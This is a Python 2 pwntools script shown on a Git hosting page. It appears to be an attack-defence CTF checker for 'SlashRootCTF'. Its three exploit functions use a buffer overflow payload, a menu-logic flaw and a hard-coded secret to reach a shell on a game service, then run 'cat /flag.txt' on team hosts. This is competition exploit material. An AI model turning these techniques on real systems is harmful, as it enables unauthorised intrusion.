Você não pode selecionar mais de 25 tópicos Os tópicos devem começar com uma letra ou um número, podem incluir traços ('-') e podem ter até 35 caracteres.

101 linhas
2.3 KiB

4 anos atrás
  1. #! /usr/bin/env python2
  2. from pwn import process, remote
  3. HOST = "192.168.2.20"
  4. TOTAL_TEAMS = 10
  5. FORMAT = "SlashRootCTF"
  6. def run():
  7. # return process(FILENAME)
  8. return remote("127.0.0.1", 60204)
  9. def poc0(host, port):
  10. p = remote(host, port)
  11. p.recvuntil(">")
  12. p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
  13. if "young" in p.recvuntil(">"):
  14. p.sendline("y")
  15. p.recvuntil(">")
  16. p.sendline("2")
  17. p.recvuntil(">")
  18. p.sendline("4")
  19. p.recvuntil(">")
  20. p.sendline("y")
  21. for _ in xrange(10):
  22. p.recvuntil(">")
  23. p.sendline("99")
  24. p.sendline("cat /flag.txt")
  25. flag = p.recv(46)
  26. if FORMAT in flag:
  27. return True
  28. else:
  29. return False
  30. else:
  31. return False
  32. def poc1(host, port):
  33. p = remote(host, port)
  34. p.recvuntil(">")
  35. p.sendline("Leo")
  36. p.recvuntil(">")
  37. p.sendline("y")
  38. for _ in range(2):
  39. p.recvuntil(">")
  40. p.sendline("3")
  41. p.recvuntil(">")
  42. p.sendline("0")
  43. if "Who" in p.recvuntil(">"):
  44. return False
  45. p.sendline("y")
  46. p.recvuntil(">")
  47. p.sendline("1")
  48. p.recvuntil(">")
  49. p.sendline("4")
  50. p.recvuntil(">")
  51. p.sendline("y")
  52. for _ in range(10):
  53. p.recvuntil(">")
  54. p.sendline("99")
  55. p.sendline("cat /flag.txt")
  56. flag = p.recv(46)
  57. if FORMAT in flag:
  58. return True
  59. else:
  60. return False
  61. def poc2(host, port):
  62. p = remote(host, port)
  63. p.recvuntil(">")
  64. p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
  65. p.recvuntil(">")
  66. p.sendline("y")
  67. p.recvuntil(">")
  68. p.sendline("6")
  69. if "Lv: 1000000" in p.recvuntil(">"):
  70. p.sendline("2")
  71. p.recvuntil(">")
  72. p.sendline("4")
  73. p.recvuntil(">")
  74. p.sendline("y")
  75. for _ in xrange(10):
  76. p.recvuntil(">")
  77. p.sendline("99")
  78. p.sendline("cat /flag.txt")
  79. flag = p.recv(46)
  80. if FORMAT in flag:
  81. return True
  82. else:
  83. return False
  84. else:
  85. return False
  86. if __name__ == "__main__":
  87. for i in range(1):
  88. print poc0(HOST, (60004 + (i*100)))
  89. print poc1(HOST, (60004 + (i*100)))
  90. print poc2(HOST, (60004 + (i*100)))